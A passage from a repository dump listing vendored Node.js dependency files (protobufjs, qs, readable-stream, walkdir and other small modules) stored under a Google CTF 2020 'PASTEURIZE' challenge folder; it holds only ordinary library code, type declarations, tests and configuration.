google.api; 4 | 5 | import "google/api/http.proto"; 6 | import "google/protobuf/descriptor.proto"; 7 | 8 | extend google.protobuf.MethodOptions { 9 | 10 | HttpRule http = 72295728; 11 | } -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/google/api/http.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package google.api; 4 | 5 | message Http { 6 | 7 | repeated HttpRule rules = 1; 8 | } 9 | 10 | message HttpRule { 11 | 12 | oneof pattern { 13 | 14 | string get = 2; 15 | string put = 3; 16 | string post = 4; 17 | string delete = 5; 18 | string patch = 6; 19 | CustomHttpPattern custom = 8; 20 | } 21 | 22 | string selector = 1; 23 | string body = 7; 24 | repeated HttpRule additional_bindings = 11; 25 | } 26 | 27 | message CustomHttpPattern { 28 | 29 | string kind = 1; 30 | string path = 2; 31 | } -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/google/protobuf/source_context.json: -------------------------------------------------------------------------------- 1 | { 2 | "nested": { 3 | "google": { 4 | "nested": { 5 | "protobuf": { 6 | "nested": { 7 | "SourceContext": { 8 | "fields": { 9 | "fileName": { 10 | "type": "string", 11 | "id": 1 12 | } 13 | } 14 | } 15 | } 16 | } 17 | } 18 | } 19 | } 20 | } -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/google/protobuf/source_context.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package google.protobuf; 4 | 5 | message SourceContext { 6 | string file_name = 1; 7 | } 8 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/index.js: -------------------------------------------------------------------------------- 1 | // full library entry point. 2 | 3 | "use strict"; 4 | module.exports = require("./src/index"); 5 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/light.d.ts: -------------------------------------------------------------------------------- 1 | export as namespace protobuf; 2 | export * from "./index"; 3 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/light.js: -------------------------------------------------------------------------------- 1 | // light library entry point. 2 | 3 | "use strict"; 4 | module.exports = require("./src/index-light"); -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/minimal.d.ts: -------------------------------------------------------------------------------- 1 | export as namespace protobuf; 2 | export * from "./index"; 3 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/minimal.js: -------------------------------------------------------------------------------- 1 | // minimal library entry point. 2 | 3 | "use strict"; 4 | module.exports = require("./src/index-minimal"); 5 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/node_modules/@types/node/console.d.ts: -------------------------------------------------------------------------------- 1 | declare module "console" { 2 | export = console; 3 | } 4 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/node_modules/@types/node/constants.d.ts: -------------------------------------------------------------------------------- 1 | /** @deprecated since v6.3.0 - use constants property exposed by the relevant module instead. */ 2 | declare module "constants" { 3 | import { constants as osConstants, SignalConstants } from 'os'; 4 | import { constants as cryptoConstants } from 'crypto'; 5 | import { constants as fsConstants } from 'fs'; 6 | const exp: typeof osConstants.errno & typeof osConstants.priority & SignalConstants & typeof cryptoConstants & typeof fsConstants; 7 | export = exp; 8 | } 9 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/node_modules/@types/node/domain.d.ts: -------------------------------------------------------------------------------- 1 | declare module "domain" { 2 | import { EventEmitter } from "events"; 3 | 4 | class Domain extends EventEmitter implements NodeJS.Domain { 5 | run(fn: (...args: any[]) => T, ...args: any[]): T; 6 | add(emitter: EventEmitter | NodeJS.Timer): void; 7 | remove(emitter: EventEmitter | NodeJS.Timer): void; 8 | bind(cb: T): T; 9 | intercept(cb: T): T; 10 | members: Array; 11 | enter(): void; 12 | exit(): void; 13 | } 14 | 15 | function create(): Domain; 16 | } 17 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/node_modules/@types/node/globals.global.d.ts: -------------------------------------------------------------------------------- 1 | declare var global: NodeJS.Global; 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/node_modules/@types/node/process.d.ts: -------------------------------------------------------------------------------- 1 | declare module "process" { 2 | import * as tty from "tty"; 3 | 4 | global { 5 | namespace NodeJS { 6 | // this namespace merge is here because these are specifically used 7 | // as the type for process.stdin, process.stdout, and process.stderr. 8 | // they can't live in tty.d.ts because we need to disambiguate the imported name. 9 | interface ReadStream extends tty.ReadStream {} 10 | interface WriteStream extends tty.WriteStream {} 11 | } 12 | } 13 | 14 | export = process; 15 | } 16 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/node_modules/@types/node/punycode.d.ts: -------------------------------------------------------------------------------- 1 | declare module "punycode" { 2 | function decode(string: string): string; 3 | function encode(string: string): string; 4 | function toUnicode(domain: string): string; 5 | function toASCII(domain: string): string; 6 | const ucs2: ucs2; 7 | interface ucs2 { 8 | decode(string: string): number[]; 9 | encode(codePoints: number[]): string; 10 | } 11 | const version: string; 12 | } 13 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/node_modules/@types/node/string_decoder.d.ts: -------------------------------------------------------------------------------- 1 | declare module "string_decoder" { 2 | class StringDecoder { 3 | constructor(encoding?: string); 4 | write(buffer: Buffer): string; 5 | end(buffer?: Buffer): string; 6 | } 7 | } 8 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/node_modules/@types/node/ts3.2/index.d.ts: -------------------------------------------------------------------------------- 1 | // NOTE: These definitions support NodeJS and TypeScript 3.2. 2 | // This is requried to enable globalThis support for global in ts3.5 without causing errors 3 | // This is requried to enable typing assert in ts3.7 without causing errors 4 | // Typically type modifiations should be made in base.d.ts instead of here 5 | 6 | /// 7 | 8 | // tslint:disable-next-line:no-bad-reference 9 | /// 10 | 11 | // tslint:disable-next-line:no-bad-reference 12 | /// 13 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/node_modules/@types/node/ts3.2/util.d.ts: -------------------------------------------------------------------------------- 1 | // tslint:disable-next-line:no-bad-reference 2 | /// 3 | 4 | declare module "util" { 5 | namespace types { 6 | function isBigInt64Array(value: any): value is BigInt64Array; 7 | function isBigUint64Array(value: any): value is BigUint64Array; 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/node_modules/@types/node/ts3.5/globals.global.d.ts: -------------------------------------------------------------------------------- 1 | declare var global: NodeJS.Global & typeof globalThis; 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/node_modules/@types/node/ts3.5/index.d.ts: -------------------------------------------------------------------------------- 1 | // NOTE: These definitions support NodeJS and TypeScript 3.5. 2 | // This is requried to enable typing assert in ts3.7 without causing errors 3 | // Typically type modifiations should be made in base.d.ts instead of here 4 | 5 | /// 6 | 7 | // tslint:disable-next-line:no-bad-reference 8 | /// 9 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/node_modules/@types/node/ts3.7/index.d.ts: -------------------------------------------------------------------------------- 1 | // NOTE: These definitions support NodeJS and TypeScript 3.7. 2 | // This isn't strictly needed since 3.7 has the assert module, but this way we're consistent. 3 | // Typically type modificatons should be made in base.d.ts instead of here 4 | 5 | /// 6 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/src/index.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | var protobuf = module.exports = require("./index-light"); 3 | 4 | protobuf.build = "full"; 5 | 6 | // Parser 7 | protobuf.tokenize = require("./tokenize"); 8 | protobuf.parse = require("./parse"); 9 | protobuf.common = require("./common"); 10 | 11 | // Configure parser 12 | protobuf.Root._configure(protobuf.Type, protobuf.parse, protobuf.common); 13 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/src/roots.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | module.exports = {}; 3 | 4 | /** 5 | * Named roots. 6 | * This is where pbjs stores generated structures (the option `-r, --root` specifies a name). 7 | * Can also be used manually to make roots available accross modules. 8 | * @name roots 9 | * @type {Object.} 10 | * @example 11 | * // pbjs -r myroot -o compiled.js ... 12 | * 13 | * // in another module: 14 | * require("./compiled.js"); 15 | * 16 | * // in any subsequent module: 17 | * var root = protobuf.roots["myroot"]; 18 | */ 19 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/src/typescript.jsdoc: -------------------------------------------------------------------------------- 1 | /** 2 | * Constructor type. 3 | * @interface Constructor 4 | * @extends Function 5 | * @template T 6 | * @tstype new(...params: any[]): T; prototype: T; 7 | */ 8 | 9 | /** 10 | * Properties type. 11 | * @typedef Properties 12 | * @template T 13 | * @type {Object.} 14 | * @tstype { [P in keyof T]?: T[P] } 15 | */ 16 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/protobufjs/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "ES5", 4 | "experimentalDecorators": true, 5 | "emitDecoratorMetadata": true 6 | } 7 | } -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/qs/.editorconfig: -------------------------------------------------------------------------------- 1 | root = true 2 | 3 | [*] 4 | indent_style = space 5 | indent_size = 4 6 | end_of_line = lf 7 | charset = utf-8 8 | trim_trailing_whitespace = true 9 | insert_final_newline = true 10 | max_line_length = 160 11 | 12 | [test/*] 13 | max_line_length = off 14 | 15 | [*.md] 16 | max_line_length = off 17 | 18 | [*.json] 19 | max_line_length = off 20 | 21 | [Makefile] 22 | max_line_length = off 23 | 24 | [CHANGELOG.md] 25 | indent_style = space 26 | indent_size = 2 27 | 28 | [LICENSE] 29 | indent_size = 2 30 | max_line_length = off 31 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/qs/.eslintignore: -------------------------------------------------------------------------------- 1 | dist 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/qs/lib/formats.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | var replace = String.prototype.replace; 4 | var percentTwenties = /%20/g; 5 | 6 | module.exports = { 7 | 'default': 'RFC3986', 8 | formatters: { 9 | RFC1738: function (value) { 10 | return replace.call(value, percentTwenties, '+'); 11 | }, 12 | RFC3986: function (value) { 13 | return value; 14 | } 15 | }, 16 | RFC1738: 'RFC1738', 17 | RFC3986: 'RFC3986' 18 | }; 19 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/qs/lib/index.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | var stringify = require('./stringify'); 4 | var parse = require('./parse'); 5 | var formats = require('./formats'); 6 | 7 | module.exports = { 8 | formats: formats, 9 | parse: parse, 10 | stringify: stringify 11 | }; 12 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/qs/test/.eslintrc: -------------------------------------------------------------------------------- 1 | { 2 | "rules": { 3 | "array-bracket-newline": 0, 4 | "array-element-newline": 0, 5 | "consistent-return": 2, 6 | "function-paren-newline": 0, 7 | "max-lines": 0, 8 | "max-lines-per-function": 0, 9 | "max-nested-callbacks": [2, 3], 10 | "max-statements": 0, 11 | "no-buffer-constructor": 0, 12 | "no-extend-native": 0, 13 | "no-magic-numbers": 0, 14 | "object-curly-newline": 0, 15 | "sort-keys": 0 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/qs/test/index.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | require('./parse'); 4 | 5 | require('./stringify'); 6 | 7 | require('./utils'); 8 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/readable-stream/experimentalWarning.js: -------------------------------------------------------------------------------- 1 | 'use strict' 2 | 3 | var experimentalWarnings = new Set(); 4 | 5 | function emitExperimentalWarning(feature) { 6 | if (experimentalWarnings.has(feature)) return; 7 | var msg = feature + ' is an experimental feature. This feature could ' + 8 | 'change at any time'; 9 | experimentalWarnings.add(feature); 10 | process.emitWarning(msg, 'ExperimentalWarning'); 11 | } 12 | 13 | function noop() {} 14 | 15 | module.exports.emitExperimentalWarning = process.emitWarning 16 | ? emitExperimentalWarning 17 | : noop; 18 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/readable-stream/lib/internal/streams/from-browser.js: -------------------------------------------------------------------------------- 1 | module.exports = function () { 2 | throw new Error('Readable.from is not available in the browser') 3 | }; 4 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/readable-stream/lib/internal/streams/stream-browser.js: -------------------------------------------------------------------------------- 1 | module.exports = require('events').EventEmitter; 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/readable-stream/lib/internal/streams/stream.js: -------------------------------------------------------------------------------- 1 | module.exports = require('stream'); 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/readable-stream/readable-browser.js: -------------------------------------------------------------------------------- 1 | exports = module.exports = require('./lib/_stream_readable.js'); 2 | exports.Stream = exports; 3 | exports.Readable = exports; 4 | exports.Writable = require('./lib/_stream_writable.js'); 5 | exports.Duplex = require('./lib/_stream_duplex.js'); 6 | exports.Transform = require('./lib/_stream_transform.js'); 7 | exports.PassThrough = require('./lib/_stream_passthrough.js'); 8 | exports.finished = require('./lib/internal/streams/end-of-stream.js'); 9 | exports.pipeline = require('./lib/internal/streams/pipeline.js'); 10 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/require-directory/.npmignore: -------------------------------------------------------------------------------- 1 | test/** 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/require-directory/.travis.yml: -------------------------------------------------------------------------------- 1 | language: node_js 2 | node_js: 3 | - 0.10 4 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/require-main-filename/index.js: -------------------------------------------------------------------------------- 1 | module.exports = function (_require) { 2 | _require = _require || require 3 | var main = _require.main 4 | if (main && isIISNode(main)) return handleIISNode(main) 5 | else return main ? main.filename : process.cwd() 6 | } 7 | 8 | function isIISNode (main) { 9 | return /\\iisnode\\/.test(main.filename) 10 | } 11 | 12 | function handleIISNode (main) { 13 | if (!main.children.length) { 14 | return main.filename 15 | } else { 16 | return main.children[0].filename 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/set-blocking/index.js: -------------------------------------------------------------------------------- 1 | module.exports = function (blocking) { 2 | [process.stdout, process.stderr].forEach(function (stream) { 3 | if (stream._handle && stream.isTTY && typeof stream._handle.setBlocking === 'function') { 4 | stream._handle.setBlocking(blocking) 5 | } 6 | }) 7 | } 8 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/setprototypeof/index.d.ts: -------------------------------------------------------------------------------- 1 | declare function setPrototypeOf(o: any, proto: object | null): any; 2 | export = setPrototypeOf; 3 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/setprototypeof/index.js: -------------------------------------------------------------------------------- 1 | 'use strict' 2 | /* eslint no-proto: 0 */ 3 | module.exports = Object.setPrototypeOf || ({ __proto__: [] } instanceof Array ? setProtoOf : mixinProperties) 4 | 5 | function setProtoOf (obj, proto) { 6 | obj.__proto__ = proto 7 | return obj 8 | } 9 | 10 | function mixinProperties (obj, proto) { 11 | for (var prop in proto) { 12 | if (!obj.hasOwnProperty(prop)) { 13 | obj[prop] = proto[prop] 14 | } 15 | } 16 | return obj 17 | } 18 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/split-array-stream/build/src/index.d.ts: -------------------------------------------------------------------------------- 1 | /// 2 | import { Transform } from 'stream'; 3 | /** 4 | * Push an array of items into a Transform stream. 5 | * @param array The array you want to push to the stream. 6 | * @param stream The Transform stream into which array items are pushed. 7 | */ 8 | export declare function split(array: Array<{}>, stream: Transform): Promise; 9 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/stream-events/index.d.ts: -------------------------------------------------------------------------------- 1 | import { Stream } from "stream"; 2 | declare function StreamEvents(stream: StreamType) 3 | : StreamType; 4 | declare namespace StreamEvents { } 5 | export = StreamEvents 6 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/stream-events/index.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | var stubs = require('stubs') 4 | 5 | /* 6 | * StreamEvents can be used 2 ways: 7 | * 8 | * 1: 9 | * function MyStream() { 10 | * require('stream-events').call(this) 11 | * } 12 | * 13 | * 2: 14 | * require('stream-events')(myStream) 15 | */ 16 | function StreamEvents(stream) { 17 | stream = stream || this 18 | 19 | var cfg = { 20 | callthrough: true, 21 | calls: 1 22 | } 23 | 24 | stubs(stream, '_read', cfg, stream.emit.bind(stream, 'reading')) 25 | stubs(stream, '_write', cfg, stream.emit.bind(stream, 'writing')) 26 | 27 | return stream 28 | } 29 | 30 | module.exports = StreamEvents 31 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/stream-shift/.travis.yml: -------------------------------------------------------------------------------- 1 | language: node_js 2 | node_js: 3 | - "0.10" 4 | - "0.12" 5 | - "4" 6 | - "6" 7 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/stream-shift/README.md: -------------------------------------------------------------------------------- 1 | # stream-shift 2 | 3 | Returns the next buffer/object in a stream's readable queue 4 | 5 | ``` 6 | npm install stream-shift 7 | ``` 8 | 9 | [![build status](http://img.shields.io/travis/mafintosh/stream-shift.svg?style=flat)](http://travis-ci.org/mafintosh/stream-shift) 10 | 11 | ## Usage 12 | 13 | ``` js 14 | var shift = require('stream-shift') 15 | 16 | console.log(shift(someStream)) // first item in its buffer 17 | ``` 18 | 19 | ## Credit 20 | 21 | Thanks [@dignifiedquire](https://github.com/dignifiedquire) for making this work on node 6 22 | 23 | ## License 24 | 25 | MIT 26 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/stream-shift/index.js: -------------------------------------------------------------------------------- 1 | module.exports = shift 2 | 3 | function shift (stream) { 4 | var rs = stream._readableState 5 | if (!rs) return null 6 | return (rs.objectMode || typeof stream._duplexState === 'number') ? stream.read() : stream.read(getStateLength(rs)) 7 | } 8 | 9 | function getStateLength (state) { 10 | if (state.buffer.length) { 11 | // Since node 6.3.0 state.buffer is a BufferList not an array 12 | if (state.buffer.head) { 13 | return state.buffer.head.data.length 14 | } 15 | 16 | return state.buffer[0].length 17 | } 18 | 19 | return state.length 20 | } 21 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/strip-ansi/index.d.ts: -------------------------------------------------------------------------------- 1 | /** 2 | Strip [ANSI escape codes](https://en.wikipedia.org/wiki/ANSI_escape_code) from a string. 3 | 4 | @example 5 | ``` 6 | import stripAnsi = require('strip-ansi'); 7 | 8 | stripAnsi('\u001B[4mUnicorn\u001B[0m'); 9 | //=> 'Unicorn' 10 | 11 | stripAnsi('\u001B]8;;https://github.com\u0007Click\u001B]8;;\u0007'); 12 | //=> 'Click' 13 | ``` 14 | */ 15 | declare function stripAnsi(string: string): string; 16 | 17 | export = stripAnsi; 18 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/strip-ansi/index.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | const ansiRegex = require('ansi-regex'); 3 | 4 | module.exports = string => typeof string === 'string' ? string.replace(ansiRegex(), '') : string; 5 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/toidentifier/index.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * toidentifier 3 | * Copyright(c) 2016 Douglas Christopher Wilson 4 | * MIT Licensed 5 | */ 6 | 7 | /** 8 | * Module exports. 9 | * @public 10 | */ 11 | 12 | module.exports = toIdentifier 13 | 14 | /** 15 | * Trasform the given string into a JavaScript identifier 16 | * 17 | * @param {string} str 18 | * @returns {string} 19 | * @public 20 | */ 21 | 22 | function toIdentifier (str) { 23 | return str 24 | .split(' ') 25 | .map(function (token) { 26 | return token.slice(0, 1).toUpperCase() + token.slice(1) 27 | }) 28 | .join('') 29 | .replace(/[^ _0-9a-z]/gi, '') 30 | } 31 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/typedarray/.travis.yml: -------------------------------------------------------------------------------- 1 | language: node_js 2 | node_js: 3 | - "0.8" 4 | - "0.10" 5 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/typedarray/example/tarray.js: -------------------------------------------------------------------------------- 1 | var Uint8Array = require('../').Uint8Array; 2 | var ua = new Uint8Array(5); 3 | ua[1] = 256 + 55; 4 | console.log(ua[1]); 5 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/typedarray/test/server/undef_globals.js: -------------------------------------------------------------------------------- 1 | var test = require('tape'); 2 | var vm = require('vm'); 3 | var fs = require('fs'); 4 | var src = fs.readFileSync(__dirname + '/../../index.js', 'utf8'); 5 | 6 | test('u8a without globals', function (t) { 7 | var c = { 8 | module: { exports: {} }, 9 | }; 10 | c.exports = c.module.exports; 11 | vm.runInNewContext(src, c); 12 | var TA = c.module.exports; 13 | var ua = new(TA.Uint8Array)(5); 14 | 15 | t.equal(ua.length, 5); 16 | ua[1] = 256 + 55; 17 | t.equal(ua[1], 55); 18 | t.end(); 19 | }); 20 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/typedarray/test/tarray.js: -------------------------------------------------------------------------------- 1 | var TA = require('../'); 2 | var test = require('tape'); 3 | 4 | test('tiny u8a test', function (t) { 5 | var ua = new(TA.Uint8Array)(5); 6 | t.equal(ua.length, 5); 7 | ua[1] = 256 + 55; 8 | t.equal(ua[1], 55); 9 | t.end(); 10 | }); 11 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/unpipe/HISTORY.md: -------------------------------------------------------------------------------- 1 | 1.0.0 / 2015-06-14 2 | ================== 3 | 4 | * Initial release 5 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/util-deprecate/History.md: -------------------------------------------------------------------------------- 1 | 2 | 1.0.2 / 2015-10-07 3 | ================== 4 | 5 | * use try/catch when checking `localStorage` (#3, @kumavis) 6 | 7 | 1.0.1 / 2014-11-25 8 | ================== 9 | 10 | * browser: use `console.warn()` for deprecation calls 11 | * browser: more jsdocs 12 | 13 | 1.0.0 / 2014-04-30 14 | ================== 15 | 16 | * initial commit 17 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/util-deprecate/node.js: -------------------------------------------------------------------------------- 1 | 2 | /** 3 | * For Node.js, simply re-export the core `util.deprecate` function. 4 | */ 5 | 6 | module.exports = require('util').deprecate; 7 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/walkdir/.jshintignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | test/dir 3 | test/comparison 4 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/walkdir/.travis.yml: -------------------------------------------------------------------------------- 1 | language: node_js 2 | sudo: false 3 | node_js: 4 | - "6" 5 | - "8" 6 | - "10" 7 | - "11" 8 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/walkdir/test/comparison/find.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | 4 | rootdir = sys.argv[1] 5 | ino = {} 6 | buf = [] 7 | for root, subFolders, files in os.walk(rootdir): 8 | 9 | for filename in files: 10 | filePath = os.path.join(root, filename) 11 | try: 12 | stat = os.lstat(filePath) 13 | except OSError: 14 | pass 15 | 16 | inostr = stat.st_ino 17 | 18 | if inostr not in ino: 19 | ino[stat.st_ino] = 1 20 | buf.append(filePath); 21 | buf.append("\n"); 22 | if len(buf) >= 1024: 23 | sys.stdout.write(''.join(buf)) 24 | buf = [] 25 | 26 | sys.stdout.write(''.join(buf)); 27 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/walkdir/test/comparison/finditsynctest.js: -------------------------------------------------------------------------------- 1 | var findit = require('findit'); 2 | 3 | var files = findit.findSync(process.argv[2]||'./'); 4 | 5 | var count = files.length; 6 | 7 | console.log(files); 8 | 9 | files = files.join("\n"); 10 | 11 | process.stdout.write(files+"\n"); 12 | 13 | console.log('found '+count+' files'); 14 | 15 | 16 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/walkdir/test/comparison/findittest.js: -------------------------------------------------------------------------------- 1 | var findit = require('findit'); 2 | 3 | var find = findit.find(process.argv[2]||'./'); 4 | 5 | var count = 0; 6 | 7 | find.on('file',function(path,stat){ 8 | count++; 9 | process.stdout.write(path+"\n"); 10 | }); 11 | 12 | find.on('end',function(){ 13 | console.log('found '+count+' regular files'); 14 | }); 15 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/walkdir/test/comparison/fstream.js: -------------------------------------------------------------------------------- 1 | var fstream = require('fstream'); 2 | 3 | var pipe = fstream.Reader(process.argv[2]||"../"); 4 | 5 | var count = 0,errorHandler; 6 | 7 | pipe.on('entry',function fn(entry){ 8 | if(entry.type == "Directory"){ 9 | entry.on('entry',fn); 10 | } else if(entry.type == "File") { 11 | count++; 12 | } 13 | entry.on('error',errorHandler); 14 | }); 15 | 16 | pipe.on('error',(errorHandler = function(error){ 17 | console.log('error event ',error); 18 | })); 19 | 20 | pipe.on('end',function(){ 21 | console.log('end! '+count); 22 | }); 23 | 24 | //this is pretty slow 25 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/walkdir/test/comparison/install_test_deps.sh: -------------------------------------------------------------------------------- 1 | npm install 2 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/walkdir/test/comparison/lsr.js: -------------------------------------------------------------------------------- 1 | var lsr = require('ls-r'); 2 | 3 | lsr(process.argv[2]||'./',{maxDepth:500000,recursive:true},function(err,origPath,args){ 4 | if(err) { 5 | console.log('eww an error! ',err); 6 | return; 7 | } 8 | //console.log('hit'); 9 | var c = 0; 10 | args.forEach(function(stat){ 11 | if(stat.isFile()){ 12 | console.log(stat.path); 13 | c++; 14 | } 15 | }); 16 | 17 | console.log('found '+args.length+" regular files"); 18 | }); 19 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/walkdir/test/comparison/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name":"recursedir-comparisons", 3 | "version": "0.0.0", 4 | "author": "Ryan Day ", 5 | "devDependencies": { 6 | "findit": "*", 7 | "ls-r":"*", 8 | "fstream":"*" 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/walkdir/test/dir/foo/a/b/c/w: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SugarP1g/LearningSecurity/5cc6fdc43ef527256c5a398565164c33b190c809/docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/walkdir/test/dir/foo/a/b/c/w -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/walkdir/test/dir/foo/a/b/z: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SugarP1g/LearningSecurity/5cc6fdc43ef527256c5a398565164c33b190c809/docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/walkdir/test/dir/foo/a/b/z -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/walkdir/test/dir/foo/a/y: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SugarP1g/LearningSecurity/5cc6fdc43ef527256c5a398565164c33b190c809/docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/walkdir/test/dir/foo/a/y -------------------------------------------------------------------------------- /docs/CTF/Google CTF 2020/web/PASTEURIZE/node_modules/walkdir/test/dir/foo/x: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SugarP1g/LearningSecurity/5cc6fdc43ef527256c5a398565164c33b190c809/docs/CTF/Google CTF 